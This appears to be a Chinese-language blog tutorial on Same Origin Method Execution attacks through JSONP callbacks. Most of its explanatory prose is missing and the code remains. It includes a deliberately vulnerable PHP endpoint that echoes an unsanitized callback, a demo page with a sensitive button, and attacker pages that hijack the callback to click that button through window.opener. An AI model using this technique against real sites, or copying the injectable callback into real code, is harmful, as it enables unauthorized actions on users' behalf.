释放双眼，带上耳机，听听看~！
Author:lightless@Meili-incDate:201710260x00什么是SameOriginMethodExecution先贴一篇paper，这个是BenHayak在BlackHatEorope2014演讲的题目，是关于如何利用JSONP之类的callback
0x00 什么是Same Origin Method Execution
http://a.com/color.php?callback=get_color
<script>
function get_color(data) {
// todo here
}
</script>
0x01 利用前的理论基础
<script>
var win1 = window.open("page2.html", "_black");
</script>
<script>
var bodyElem = window.opener.document.body;
</script>
0x02 利用流程
-
some.html跳转到目标页面（含有敏感操作dom的页面，例如含有点一下就删除订单、点一下就增加用户之类的敏感操作的页面） -
在
some.html跳转完成后，让some2.html跳转到发现的JSONP接口，并将callback修改为我们的payload
<?php
$callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"];
$data = [
"username" => "lightless",
"avatar" => "http://cdn.lightless.me/images/01.jpg",
];
$data = json_encode($data);
echo "<script>";
echo $callback . "(" . $data . ")";
echo "</script>";
<html>
<body>
<form>
<button onclick="cc()">Secret Button</button>
<label>Access Token: </label>
<input readonly value="abcdefg">
<br>
<label>Secret Token: </label>
<input readonly value="123456">
</form>
<script>
function cc() {
alert("cc click!");
}
</script>
</body>
</html>
<script>
function start_some() {
window.open("some2.html");
location.replace("http://b.com/secret.php");
}
setTimeout(start_some(), 1000);
</script>
<script>
function attack() {
location.replace("http://b.com/info.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click");
}
setTimeout(attack, 2000);
</script>
